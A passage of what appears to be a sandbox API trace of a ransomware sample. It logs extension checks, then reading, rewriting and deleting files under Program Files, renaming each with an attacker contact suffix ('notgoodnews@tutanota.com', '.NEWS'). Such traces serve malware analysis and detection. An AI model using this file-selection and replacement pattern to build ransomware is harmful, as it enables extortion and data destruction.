Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.081] lstrlenW (lpString=".zip") returned 4 [0226.081] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0226.081] lstrlenW (lpString=".rar") returned 4 [0226.081] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0226.081] lstrlenW (lpString=".bz2") returned 4 [0226.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0226.082] lstrlenW (lpString=".7z") returned 3 [0226.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0226.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.082] lstrlenW (lpString=".dbf") returned 4 [0226.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0226.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.082] lstrlenW (lpString=".1cd") returned 4 [0226.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0226.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.082] lstrlenW (lpString=".jpg") returned 4 [0226.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0226.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.083] lstrlenW (lpString=".doc") returned 4 [0226.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0226.083] lstrlenW (lpString=".docx") returned 5 [0226.084] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0226.084] lstrlenW (lpString=".pdf") returned 4 [0226.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0226.084] lstrlenW (lpString=".xls") returned 4 [0226.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0226.084] lstrlenW (lpString=".xlsx") returned 5 [0226.084] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0226.084] lstrlenW (lpString=".ppt") returned 4 [0226.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0226.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.085] lstrlenW (lpString=".zip") returned 4 [0226.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0226.085] lstrlenW (lpString=".rar") returned 4 [0226.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0226.085] lstrlenW (lpString=".bz2") returned 4 [0226.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0226.085] lstrlenW (lpString=".7z") returned 3 [0226.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0226.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.085] lstrlenW (lpString=".dbf") returned 4 [0226.085] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0226.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.085] lstrlenW (lpString=".1cd") returned 4 [0226.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0226.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0226.086] lstrlenW (lpString=".jpg") returned 4 [0226.086] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0226.086] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0226.086] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23 [0226.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0226.089] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=47976) returned 1 [0226.089] CloseHandle (hObject=0x388) returned 1 [0226.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0226.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0226.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0226.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0226.091] lstrlenW (lpString=".doc") returned 4 [0226.091] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0226.092] lstrlenW (lpString=".docx") returned 5 [0226.092] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0226.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.146] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.147] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.148] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0227.427] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0227.427] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0227.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0229.156] GetLastError () returned 0x0 [0229.156] ReadFile (in: hFile=0x39c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x3a18, lpOverlapped=0x0) returned 1 [0230.272] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0230.490] ReadFile (in: hFile=0x39c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0230.491] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xee, lpOverlapped=0x0) returned 1 [0230.491] SetEndOfFile (hFile=0x3a8) returned 1 [0230.491] CloseHandle (hObject=0x3a8) returned 1 [0230.492] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0230.492] SetEndOfFile (hFile=0x39c) returned 1 [0230.580] CloseHandle (hObject=0x39c) returned 1 [0230.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0230.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.582] lstrlenW (lpString=".doc") returned 4 [0230.582] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0230.582] lstrlenW (lpString=".docx") returned 5 [0230.582] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0230.582] lstrlenW (lpString=".pdf") returned 4 [0230.582] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0230.582] lstrlenW (lpString=".xls") returned 4 [0230.582] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0230.583] lstrlenW (lpString=".xlsx") returned 5 [0230.583] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0230.583] lstrlenW (lpString=".ppt") returned 4 [0230.583] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0230.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.583] lstrlenW (lpString=".zip") returned 4 [0230.583] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0230.583] lstrlenW (lpString=".rar") returned 4 [0230.583] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0230.583] lstrlenW (lpString=".bz2") returned 4 [0230.583] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0230.583] lstrlenW (lpString=".7z") returned 3 [0230.583] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0230.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.584] lstrlenW (lpString=".dbf") returned 4 [0230.584] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0230.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.584] lstrlenW (lpString=".1cd") returned 4 [0230.584] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0230.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.584] lstrlenW (lpString=".jpg") returned 4 [0230.584] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0230.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.584] lstrlenW (lpString=".doc") returned 4 [0230.585] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0230.585] lstrlenW (lpString=".docx") returned 5 [0230.585] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0230.585] lstrlenW (lpString=".pdf") returned 4 [0230.585] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0230.585] lstrlenW (lpString=".xls") returned 4 [0230.585] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0230.585] lstrlenW (lpString=".xlsx") returned 5 [0230.585] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0230.585] lstrlenW (lpString=".ppt") returned 4 [0230.585] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0230.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.586] lstrlenW (lpString=".zip") returned 4 [0230.586] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0230.586] lstrlenW (lpString=".rar") returned 4 [0230.586] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0230.586] lstrlenW (lpString=".bz2") returned 4 [0230.586] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0230.586] lstrlenW (lpString=".7z") returned 3 [0230.586] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0230.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.586] lstrlenW (lpString=".dbf") returned 4 [0230.586] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0230.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.587] lstrlenW (lpString=".1cd") returned 4 [0230.587] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0230.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0230.587] lstrlenW (lpString=".jpg") returned 4 [0230.587] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0230.587] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0230.588] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0230.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0230.590] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=10562) returned 1 [0230.591] CloseHandle (hObject=0x39c) returned 1 [0230.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0230.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0230.593] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0230.593] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0230.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0230.594] GetLastError () returned 0x0 [0230.594] ReadFile (in: hFile=0x39c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x2942, lpOverlapped=0x0) returned 1 [0230.599] WriteFile (in: hFile=0x1c0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x2950, lpOverlapped=0x0) returned 1 [0230.602] ReadFile (in: hFile=0x39c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0230.602] WriteFile (in: hFile=0x1c0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.602] SetEndOfFile (hFile=0x1c0) returned 1 [0230.603] CloseHandle (hObject=0x1c0) returned 1 [0230.603] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0230.603] SetEndOfFile (hFile=0x39c) returned 1 [0230.614] CloseHandle (hObject=0x39c) returned 1 [0230.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0230.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.618] lstrlenW (lpString=".doc") returned 4 [0230.619] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.619] lstrlenW (lpString=".docx") returned 5 [0230.619] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.619] lstrlenW (lpString=".pdf") returned 4 [0230.619] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.619] lstrlenW (lpString=".xls") returned 4 [0230.619] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.619] lstrlenW (lpString=".xlsx") returned 5 [0230.619] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.619] lstrlenW (lpString=".ppt") returned 4 [0230.619] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.620] lstrlenW (lpString=".zip") returned 4 [0230.620] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.620] lstrlenW (lpString=".rar") returned 4 [0230.620] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.620] lstrlenW (lpString=".bz2") returned 4 [0230.620] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.620] lstrlenW (lpString=".7z") returned 3 [0230.620] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.620] lstrlenW (lpString=".dbf") returned 4 [0230.620] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.621] lstrlenW (lpString=".1cd") returned 4 [0230.621] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.621] lstrlenW (lpString=".jpg") returned 4 [0230.621] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.621] lstrlenW (lpString=".doc") returned 4 [0230.621] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.621] lstrlenW (lpString=".docx") returned 5 [0230.622] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.622] lstrlenW (lpString=".pdf") returned 4 [0230.622] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.622] lstrlenW (lpString=".xls") returned 4 [0230.622] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.622] lstrlenW (lpString=".xlsx") returned 5 [0230.622] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.622] lstrlenW (lpString=".ppt") returned 4 [0230.622] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.622] lstrlenW (lpString=".zip") returned 4 [0230.622] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.623] lstrlenW (lpString=".rar") returned 4 [0230.623] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.623] lstrlenW (lpString=".bz2") returned 4 [0230.887] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.887] lstrlenW (lpString=".7z") returned 3 [0230.887] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.887] lstrlenW (lpString=".dbf") returned 4 [0230.887] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.887] lstrlenW (lpString=".1cd") returned 4 [0230.887] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0230.888] lstrlenW (lpString=".jpg") returned 4 [0230.888] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.889] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0230.889] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0230.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0231.625] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=7567) returned 1 [0231.625] CloseHandle (hObject=0x370) returned 1 [0231.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0231.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0231.809] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0231.809] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0231.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0231.810] GetLastError () returned 0x0 [0231.810] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0231.825] WriteFile (in: hFile=0x384, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0231.828] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0231.828] WriteFile (in: hFile=0x384, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.829] SetEndOfFile (hFile=0x384) returned 1 [0231.838] CloseHandle (hObject=0x384) returned 1 [0231.838] 